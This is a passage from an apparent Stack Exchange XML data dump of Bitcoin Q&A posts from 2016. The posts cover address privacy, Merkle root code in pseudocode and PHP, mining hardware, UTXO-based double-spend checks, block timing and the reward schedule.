derivation rule is still unknown.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Different addresses are for privacy&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Why should you actually use a different address every time?  Actually, it is fine to use an address for multiple transactions. Most wallets do not do it, to increase privacy: If you use the same address over and over again, it is obvious that all these transactions are related to the same person. By using a new address for every transaction, transactions may still be linked by clever blockchain analysis but it isn't immediately obvious, may be plausibly deniable, or (with some effort) transactions can even appear completely unrelated.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-04-01T13:40:25.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43570" PostTypeId="2" ParentId="43565" CreationDate="2016-04-01T14:02:30.533" Score="0" Body="&lt;p&gt;Here is some pseudo code how it could work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;List&amp;lt;Hash&amp;gt; hashList;     //Contains the transaction ids of all transactions in the block&#xA;&#xA;Hash deriveMerkleRoot(List&amp;lt;Hash&amp;gt; hashList):&#xA;  while (hashList.size() &amp;gt; 1) {&#xA;    hashList = pairHashes(hashList);&#xA;  }&#xA;  return hashList[0];                                             // when only one hash is left, you've derived the merkle root&#xA;&#xA;List&amp;lt;Hash&amp;gt; pairHashes(List&amp;lt;Hash&amp;gt; hashList):&#xA;  List&amp;lt;Hash&amp;gt; listOfPairedHashes = new List&amp;lt;Hash&amp;gt;();&#xA;  for(int i = 0; i &amp;lt; hashList.size(); i++) {&#xA;    if(i%2==0) {                                                  // Get every second element&#xA;      if(i+1 &amp;lt; hashList.size()) {&#xA;        listOfPairedHashes.put(hash(hashList[i], hashList[i+1])); // If there is one more, pair with it as partner&#xA;      } else {&#xA;        listOfPairedHashes.put(hash(hashList[i], hashList[i]));   // For last element pair with itself&#xA;      }&#xA;    }&#xA;  }&#xA;  return listOfPairedHashes;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll still need to add some checks for cases such as &quot;hashList is empty&quot; etc. of course.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-04-01T14:02:30.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43571" PostTypeId="2" ParentId="38469" CreationDate="2016-04-01T14:10:23.473" Score="1" Body="&lt;p&gt;The excerpt you're showing is for the priority area in blocks. The concept of &quot;priority&quot; in the source code corresponds modified bitcoin-days-destroyed per kilobyte. It is only used for a small portion of the block size (max 50kB by default in Bitcoin Core 0.11.x, and max 0kB by default in 0.12.x, it can be changed with a configuration setting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the rest of CreateNewBlock, which uses sorting by feerate, by iterating an index on the mempool that is pre-sorted by feerate (=satoshi per kB).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-04-01T14:10:23.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43573" PostTypeId="2" ParentId="43564" CreationDate="2016-04-01T17:36:55.053" Score="1" Body="&lt;p&gt;Staking is only used with &lt;a href=&quot;https://bitcoin.stackexchange.com/q/9082/5406&quot;&gt;proof-of-stake&lt;/a&gt; cryptocurrencies. Dogecoin uses a proof-of-work algorithm, so there is no staking in Dogecoin.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2016-04-01T17:36:55.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43575" PostTypeId="2" ParentId="43565" CreationDate="2016-04-01T18:53:39.290" Score="1" Body="&lt;p&gt;Your script was a good attempt at this! I modified made it recursive with some very small changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically when designing a recursive function, it checks whether the state represents a complete computation, otherwise it runs some code and calls itself again. Your function was missing this part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also seemed to be computing the hashes incorrectly - the hashing operation is &lt;code&gt;SHA256(SHA256($pair))&lt;/code&gt;. I refactored out the function &lt;code&gt;binFlipByteOrder()&lt;/code&gt;, which only works on binary, so we can flip the hash before rendering it as hex.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function binFlipByteOrder($string) {&#xA;    return implode('', array_reverse(str_split($string, 1)));&#xA;}&#xA;&#xA;function merkleroot($txids) {&#xA;&#xA;    // Check for when the result is ready, otherwise recursion&#xA;    if (count($txids) === 1) {&#xA;        return $txids[0];&#xA;    }&#xA;&#xA;    // Calculate the next row of hashes&#xA;    $pairhashes = [];&#xA;    while (count($txids) &amp;gt; 0) {&#xA;        if (count($txids) &amp;gt;= 2) {&#xA;            // Get first two&#xA;            $pair_first = $txids[0];&#xA;            $pair_second = $txids[1];&#xA;&#xA;            // Hash them&#xA;            $pair = $pair_first.$pair_second;&#xA;            $pairhashes[] = hash('sha256', hash('sha256', $pair, true), true);&#xA;&#xA;            // Remove those two from the array&#xA;            unset($txids[0]);&#xA;            unset($txids[1]);&#xA;&#xA;            // Re-set the indexes (the above just nullifies the values) and make a new array without the original first two slots.&#xA;            $txids = array_values($txids);&#xA;        }&#xA;&#xA;        if (count($txids) == 1) {&#xA;            // Get the first one twice&#xA;            $pair_first = $txids[0];&#xA;            $pair_second = $txids[0];&#xA;&#xA;            // Hash it with itself&#xA;            $pair = $pair_first.$pair_second;&#xA;            $pairhashes[] = hash('sha256', hash('sha256', $pair, true), true);&#xA;&#xA;            // Remove it from the array&#xA;            unset($txids[0]);&#xA;&#xA;            // Re-set the indexes (the above just nullifies the values) and make a new array without the original first two slots.&#xA;            $txids = array_values($txids);&#xA;        }&#xA;    }&#xA;&#xA;    return merkleroot($pairhashes);&#xA;}&#xA;&#xA;&#xA;$txids = array(&#xA;    'AB7ED423933FE5413DC51B1041A58FD8AF0CD70491B1CE607CB41DDDCE74A92B',&#xA;    'C763E59A79C9F1E626DDF1C3E9F20F234959C457FF82918F7B24E9D18A12DB99',&#xA;    '80EA3E647AEEF92973F5414E0CAA1721C7B42345B99ED161DD505ACC41F5516B',&#xA;    '1B72EEFD70CE0A362EC0CB48E2213274DF3C55F9DABD5806CDC087A335498CD3',&#xA;    '23E13370F6D59E2D7C7A9CA604B872312DE34A387BD7DECA2C8F4486F7E66173',&#xA;    '149A098D6261B7F9359A572D797C4A41B62378836A14093912618B15644BA402',&#xA;);&#xA;&#xA;$txidsBEbinary = [];&#xA;foreach ($txids as $txidBE) {&#xA;    // covert to binary, then flip&#xA;    $txidsBEbinary[] = binFlipByteOrder(hex2bin($txidBE));&#xA;}&#xA;$root = merkleroot($txidsBEbinary);&#xA;&#xA;echo bin2hex(binFlipByteOrder($root)) . PHP_EOL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11123" LastEditorUserId="11123" LastEditDate="2016-04-01T19:02:19.763" LastActivityDate="2016-04-01T19:02:19.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43576" PostTypeId="1" CreationDate="2016-04-01T20:04:07.963" Score="5" ViewCount="46335" Body="&lt;p&gt;Ive been wondering, is it possible to make a &lt;strong&gt;good custom Bitcoin miner?&lt;/strong&gt; AntMiners aren't worth it anymore, and I can't find a miner that is. Can I build a miner myself that will be worth it? If so, what do I need to custom make a miner? What are some basic Bitcoin miner components. How much will it cost approximately? Is there anything else I need to know if i'm going to build a miner? There was some confusion, I don't mean I want to print my own pieces and make my own miner completely from scratch, I want to buy pieces online and make a miner, can I do this somehow?&lt;/p&gt;&#xA;" OwnerUserId="33984" LastEditorUserId="33984" LastEditDate="2016-04-02T17:38:34.560" LastActivityDate="2020-04-26T10:44:52.243" Title="Can a competitive miner be crafted at home?" Tags="|mining-hardware|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43577" PostTypeId="2" ParentId="43576" CreationDate="2016-04-01T22:07:47.010" Score="2" Body="&lt;p&gt;Unless you live in an area with extremely cheap (or free) electricity, you probably will not be able to build your own miner from scratch.  Modern mining requires ASIC's (Application Specific Integrated Circuit) in order to make any money.  These are silicon chips that implement the SHA256 hashing algorithm in hardware, rather than running a software version of the algorithm on a general purpose CPU, or even GPU.  Unless you are able to manufacture your own custom silicon chips, you would be better off purchasing an ASIC miner.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-04-01T22:07:47.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43578" PostTypeId="2" ParentId="43560" CreationDate="2016-04-01T22:14:15.867" Score="5" Body="&lt;p&gt;Yes, miners check the blockchain to ensure all new transactions are valid before including them into a block.  However, it also depends on your definition of &quot;miner&quot;.  If you mean the people running ASIC miners as part of a mining pool, then no, they do not generally check for the validity of transactions or blocks.  They simply hash block headers to calculate nonces.  If you mean mining pool operators, then yes, they need to check the validity of transactions and blocks, otherwise the blocks their pool produces will be rejected by the rest of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, miners are not the only nodes on the Bitcoin network that validate transactions.  Full nodes, which relay transactions through the network, also perform checks to ensure transactions are valid before relaying them to other nodes.  You would have a very hard time even getting your invalid transaction to a mining node, let alone having it included in a block.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-04-01T22:14:15.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43579" PostTypeId="1" CreationDate="2016-04-02T00:42:32.007" Score="25" ViewCount="7558" Body="&lt;p&gt;The &lt;a href=&quot;http://www.math.rwth-aachen.de/~Timo.Hanke/AsicBoostWhitepaperrev5.pdf&quot;&gt;AsicBoost paper&lt;/a&gt; by Timo Hanke and Sergio Demian Lerner describes a way of increasing ASIC performance by 20%. It's a bit sparse on the details, though. What are they optimizing?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2017-05-24T02:25:21.877" LastActivityDate="2019-03-08T16:52:02.160" Title="How does AsicBoost work?" Tags="|asic|mining-technical-details|asicboost|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43580" PostTypeId="1" CreationDate="2016-04-02T01:27:08.573" Score="5" ViewCount="1390" Body="&lt;p&gt;Dan Kaminsky has pointed out that it would be possible to build a service that tries to infer the source IP address of each Bitcoin transaction.  His idea, which he calls &lt;a href=&quot;https://bitcoin.stackexchange.com/q/771/14915&quot;&gt;Blitcoin&lt;/a&gt;, works by maintaining connections to all nodes in the peer-to-peer network and noting the IP address of the first node to report the transaction.  This &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1514/14915&quot;&gt;won't always&lt;/a&gt; be the IP address of the source of the transaction (for instance, there are a number of ways to hide one's IP address), but sometimes it might be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone built such a service?  How often does it work, in practice?  Are there any commercially available services that have maintained past archives of this information?&lt;/p&gt;&#xA;" OwnerUserId="14915" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2019-06-17T17:46:49.567" Title="Capturing IP address of transactions submitted to Bitcoin" Tags="|security|privacy|transaction-propagation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43582" PostTypeId="2" ParentId="43580" CreationDate="2016-04-02T03:15:23.507" Score="1" Body="&lt;p&gt;So a node that creates a transaction needs to propagate it. It will connect to other nodes. Usually to some reasonable number like 8 nodes (please see &lt;code&gt;getpeerinfo&lt;/code&gt; on your client).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a mental exercise: If the 8 nodes (that I randomly selected from the network) belong to the same person, that person will have the possibility to capture 100% of my traffic. My IP address will be known, but also there could be a selective attack that prevents my transaction from being broadcasted (i.e. he/she decides to drop it based on my sending bitcoin address). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more nodes the attacker has, the more chances to have all outgoing connections from the victims plus the possibility to do data analysis. Also more chances of dropping (selected or random) transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the economics behind an attack of this nature. Buying 5000 VMs to run nodes could cost a lot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples are out there that they ask for bitcoin to set up full nodes, like &lt;a href=&quot;https://classic-cloud.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://classic-cloud.net/&lt;/a&gt; [1]. as 2016-04-01 they have 810 nodes running. So you can imagine that they could be able to track some transactions to IPaddress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: [1] as of 2019-05-17 this is not longer a page that has stats about nodes, but rather a blog.&lt;/p&gt;&#xA;" OwnerUserId="14355" LastEditorUserId="14355" LastEditDate="2019-06-17T17:46:49.567" LastActivityDate="2019-06-17T17:46:49.567" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="43583" PostTypeId="2" ParentId="43576" CreationDate="2016-04-02T07:45:09.927" Score="3" Body="&lt;p&gt;No, the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/12029/5406&quot;&gt;ASIC&lt;/a&gt; chips used in miners are impossible to craft at home, and to my knowledge no competitive chips are for sale as component parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Development of new ASIC chips has progressed to a level where it costs millions to create a new template and you need state of the art (&amp;lt;16nm) production to produce them. It is not economic to do this at home.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-04-02T07:45:09.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43584" PostTypeId="2" ParentId="43560" CreationDate="2016-04-02T08:24:11.283" Score="7" Body="&lt;p&gt;The other two answers explain what has to be done to discover doublespends. I'll try to explain how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;There are no &quot;balances&quot;, there are &quot;coins&quot;&lt;/strong&gt;&lt;br&gt;&#xA;A common misunderstanding is that there is a register of balances for addresses, and when you spend bitcoins, some of your balance gets deducted from your address. Actually, that's not a good description of what's happening. Under the hood, it's more akin to receiving a &quot;coin&quot; whenever you get paid, and drawing upon your available &quot;coins&quot; when spending.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Spending &quot;coins&quot;&lt;/strong&gt;&lt;br&gt;&#xA;When someone sends you a transaction, they create an &quot;unspent transaction output (UTXO)&quot;. This UTXO is uniquely identifiable e.g. &lt;em&gt;the first output of the transaction with the id &lt;code&gt;X&lt;/code&gt;&lt;/em&gt;. UTXOs are like coins: They have a specific value and can only be spent completely. To spend part of one, you have to give up the complete coin, get back change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;&#xA;You have two Unspent Transaction Outputs (&quot;coins&quot;) worth 0.03 BTC and 0.09 BTC. They were created as &quot;first output of transaction &lt;code&gt;X&lt;/code&gt;&quot; and &quot;third output of transaction &lt;code&gt;Y&lt;/code&gt;&quot; respectively. You want to send 0.10 BTC to Bob.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cite these specific two UTXOs as inputs to your transaction &lt;code&gt;Z&lt;/code&gt;. I.e. you order &quot;I want to spend the first output of transaction X, and the third output of transaction Y. I'm converting them to first and second output of transaction Z. – Here are the signatures for &lt;code&gt;X.first&lt;/code&gt; and &lt;code&gt;Y.third&lt;/code&gt;.&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;X.first   0.03 BTC                       Z.first    0.10 BTC (spendable with Bob's signature)&#xA;                       ---- tx Z  ---&amp;gt; &#xA;Y.third   0.09 BTC                       Z.second   0.02 BTC (spendable with your own signature)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, you use up your two &quot;coins&quot;, to give one &quot;coin&quot; to Bob to pay 0.10 BTC, and get back the change as another new &quot;coin&quot; which goes to yourself. Your transaction &lt;code&gt;Z&lt;/code&gt; spent &lt;code&gt;X.first&lt;/code&gt; and &lt;code&gt;Y.third&lt;/code&gt;, and converted them to two new &quot;coins&quot; &lt;code&gt;Z.first&lt;/code&gt; and &lt;code&gt;Z.second&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, as described by &lt;a href=&quot;https://bitcoin.stackexchange.com/a/43561/5406&quot;&gt;Greg&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/a/43578/5406&quot;&gt;Jestin&lt;/a&gt;, every full node has worked through the whole blockchain. Every single transaction references one or more &quot;coins&quot; that get spent, and creates new &quot;coins&quot; as in the example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While a node works through the blockchain, it keeps track of the &quot;coins&quot; that exist, and updates this database with every transaction that happens. The database is referred to as the Bitcoin network's &quot;Unspent Transaction Output Set&quot;. So, when you're up to date, the node has a list of every &quot;coin&quot; that is available for spending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Back to the question&lt;/strong&gt;&lt;br&gt;&#xA;So, you sent 1 BTC to Bob one month ago. Now, you're trying to use the same &quot;coins&quot;, &lt;code&gt;X.first&lt;/code&gt; and &lt;code&gt;Y.third&lt;/code&gt; a month later to send money to Carol. The nodes look at their &quot;coin&quot; database, and see that they are not in it. They can immediately say &quot;Those coins have already been spent.&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-10-11T15:26:23.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43585" PostTypeId="2" ParentId="17225" CreationDate="2016-04-02T10:05:03.783" Score="3" Body="&lt;p&gt;The sender, recipient and transferred amount are already public information and readily available in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only special access that miners have is that they could log the ip address of users that directly submit transactions for mining, if such a direct access is offered. Besides that there is no special information available to miners.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-04-02T10:05:03.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43587" PostTypeId="1" AcceptedAnswerId="43591" CreationDate="2016-04-02T11:40:11.967" Score="0" ViewCount="118" Body="&lt;p&gt;Is it possible to attach a public note to transaction using Electrum client, if yes so how ?&lt;/p&gt;&#xA;" OwnerUserId="7269" LastActivityDate="2016-04-02T18:38:52.520" Title="Electrum and public note" Tags="|transactions|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43588" PostTypeId="2" ParentId="43558" CreationDate="2016-04-02T13:07:57.907" Score="0" Body="&lt;p&gt;Transaction outputs are the only place we specify amounts, stored as 64-bit unsigned integers. So we can specify maximum of 92233720368.5 bitcoins in an transaction output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/ddfd79659e31a41de4e9b824767b766116798a90/src/amount.h#L14&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/ddfd79659e31a41de4e9b824767b766116798a90/src/amount.h#L14&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are per-output checks using &lt;code&gt;bool MoneyRange()&lt;/code&gt;, when a new block is announced. This is more important, since it lowers the maximum amount that can be transacted to the 21-million figure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/ddfd79659e31a41de4e9b824767b766116798a90/src/amount.h#L31&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/ddfd79659e31a41de4e9b824767b766116798a90/src/amount.h#L31&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2016-04-02T13:07:57.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43591" PostTypeId="2" ParentId="43587" CreationDate="2016-04-02T18:38:52.520" Score="3" Body="&lt;p&gt;No, that's not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Public notes are &lt;a href=&quot;https://blockchain.info/wallet/website-faq&quot; rel=&quot;nofollow&quot;&gt;a feature of blockchain.info&lt;/a&gt; and only exist in the blockchain.info database (and not in the Bitcoin blockchain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to add a public note to a transaction on blockchain.info seems to be by using their wallet.&lt;/p&gt;&#xA;" OwnerUserId="34469" LastActivityDate="2016-04-02T18:38:52.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43592" PostTypeId="2" ParentId="25293" CreationDate="2016-04-02T20:03:34.860" Score="11" Body="&lt;p&gt;The expected time (mean) for a new block is of course &lt;strong&gt;10 minutes&lt;/strong&gt;, assuming constant hashrate, and no block propagation time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tricky part is that there is no such thing as &lt;em&gt;a point in time&lt;/em&gt;. You can only ask only for an &lt;strong&gt;interval&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's illustrate this. First it is important to not fall for the &lt;a href=&quot;https://en.wikipedia.org/wiki/Gambler%27s_fallacy&quot; rel=&quot;noreferrer&quot;&gt;Gambler's fallacy&lt;/a&gt;. Luck has no &quot;memory&quot;. Thus if no block has been found (or if a block has just been found), what is the chance of a block being found in the next minute? The easy answer would be &lt;code&gt;1/10 = 10%&lt;/code&gt;. Or in the next second? &lt;code&gt;1/600 = 0.16667%&lt;/code&gt;. But this is not quite true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you ask how often a block is found &lt;em&gt;before&lt;/em&gt; or &lt;em&gt;after&lt;/em&gt; 10 minutes, you are asking for the &lt;a href=&quot;https://en.wikipedia.org/wiki/Cumulative_distribution_function&quot; rel=&quot;noreferrer&quot;&gt;cumulative distribution function&lt;/a&gt; (CDF) of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Exponential_distribution&quot; rel=&quot;noreferrer&quot;&gt;exponential distribution&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can use Wolfram Alpha to plot this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wolframalpha.com/input/?i=cdf%20exponential%20distribution%20%CE%BB%3D1%2F600&quot; rel=&quot;noreferrer&quot;&gt;cdf exponential distribution λ=1/600&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many blocks are found &lt;strong&gt;after&lt;/strong&gt; the mean (600 seconds)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exp(-600/600) = exp(-1) ~= 36.788%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How many blocks are found &lt;strong&gt;before&lt;/strong&gt; the mean?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1-exp(-1) ~= 63.212%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How many blocks are separated by more than 1, 2, 5, 10, 20, 30, 60 minutes?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exp( -1/10) ~= 90.484%&#xA;exp( -2/10) ~= 81.873%&#xA;exp( -5/10) ~= 60.653%&#xA;exp(-10/10) ~= 36.788%&#xA;exp(-20/10) ~= 13.534%&#xA;exp(-30/10) ~=  4.979%&#xA;exp(-60/10) ~=  0.248%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what is the chance of finding a block in the next second/minute?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1-exp(-1/600)  ~= 0.16653%&#xA;1−exp(−60/600) ~= 9.516%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bonus: How many blocks are found between 5 minutes an 20 minutes?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exp(−5/10)−exp(−20/10) ~= 47.120%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="32356" LastActivityDate="2016-04-02T20:03:34.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43593" PostTypeId="2" ParentId="10486" CreationDate="2016-04-02T22:40:09.397" Score="2" Body="&lt;p&gt;Bitcoin's reward schedule is implemented in eras of 210,000 blocks. The block subsidy gets halved with the first block of each new era. The 33rd &amp;quot;halving&amp;quot; at block 6,930,000 will reduce the block subsidy limit from 1 satoshi per block to 0 satoshi per block¹ and therefore the last block creating new bitcoins will be block 6,929,999.&lt;/p&gt;&#xA;&lt;p&gt;At block intervals of 10 minutes, 210,000 blocks translate to about 3.99 years, although blocks have been found faster in average in the past. Under the simplifying assumption that the halvings will occur about every four years, the final block that creates new bitcoins would occur approximately in &lt;strong&gt;2140&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can find a table with the respective calculations here: &lt;a href=&quot;https://docs.google.com/spreadsheets/d/12tR_9WrY0Hj4AQLoJYj9EDBzfA38XIVLQSOOOVePNm0/pubhtml?gid=0&amp;amp;single=true&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Reward Schedule&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Really, the mining reward will get minuscule much earlier already. In 2036 99% of the bitcoins will be in circulation, in 2048 it will be 99.9%.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;sup&gt;¹Actually, the limit is 0.58207661 satoshi per block at that point, but since only whole satoshis can be paid out, none may be collected by miners.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2022-09-25T15:57:12.787" LastActivityDate="2022-09-25T15:57:12.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="43594" PostTypeId="1" AcceptedAnswerId="43595" CreationDate="2016-04-03T02:07:05.513" Score="2" ViewCount="2942" Body="&lt;p&gt;I have sent a bitcoin transaction of 0.18, you can see it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://live.blockcypher.com/btc/tx/22bacef7d4fb78e4e90cd04540daad257a39cb4ab4510f9e0efe5a88efaf0f87/&quot; rel=&quot;nofollow&quot;&gt;https://live.blockcypher.com/btc/tx/22bacef7d4fb78e4e90cd04540daad257a39cb4ab4510f9e0efe5a88efaf0f87/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I included a fee of 0.002 even though blockchain only recommended a fee of 0.00012 hoping it would help speed it along.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first confirmation took about an hour, but I understood because it was spending an unconfirmed input.  Once that input confirmed, so did this transaction (at least I think thats why, I am not sure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, that is fine, but now I have been waiting 40 minutes for the second confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought confirmations after the 1st were every time a new block was added to the chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is,  why would this transaction take so long for a second confirmation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus Question:  Is there some way for me to see how many blocks have been added to the blockchain since the block my transaction is in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if I'm way off or misinformed here,  but any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="27635" LastActivityDate="2016-04-03T02:58:55.173" Title="Second, Third, Etc Confirmations taking a long time, why?" Tags="|transactions|transaction-fees|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43595" PostTypeId="2" ParentId="43594" CreationDate="2016-04-03T02:58:55.173" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I thought confirmations after the 1st were every time a new block was added to the chain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, as long as the block being added is 'on top' of the most recent block.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So my question is, why would this transaction take so long for a second confirmation?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Blocks generally come every ten minutes, but that's not guaranteed. Sometimes they come seconds apart, sometimes it takes an hour.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bonus Question: Is there some way for me to see how many blocks have been added to the blockchain since the block my transaction is in?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, that's what the number of confirmations represents.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-04-03T02:58:55.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43596" PostTypeId="1" AcceptedAnswerId="43608" CreationDate="2016-04-03T08:13:25.790" Score="9" ViewCount="1235" Body="&lt;p&gt;I've read that it encourages users to consolidate UTXO sets. How would it be doing that?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="121614" LastEditDate="2023-12-28T13:37:02.507" LastActivityDate="2023-12-28T13:37:02.507" Title="Why is the witness data fee discounted by a factor of four?" Tags="|segregated-witness|utxo|utxo-set|witness-data|consolidation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43597" PostTypeId="5" CreationDate="2016-04-03T08:15:52.227" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-04-03T08:15:52.227" LastActivityDate="2016-04-03T08:15:52.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
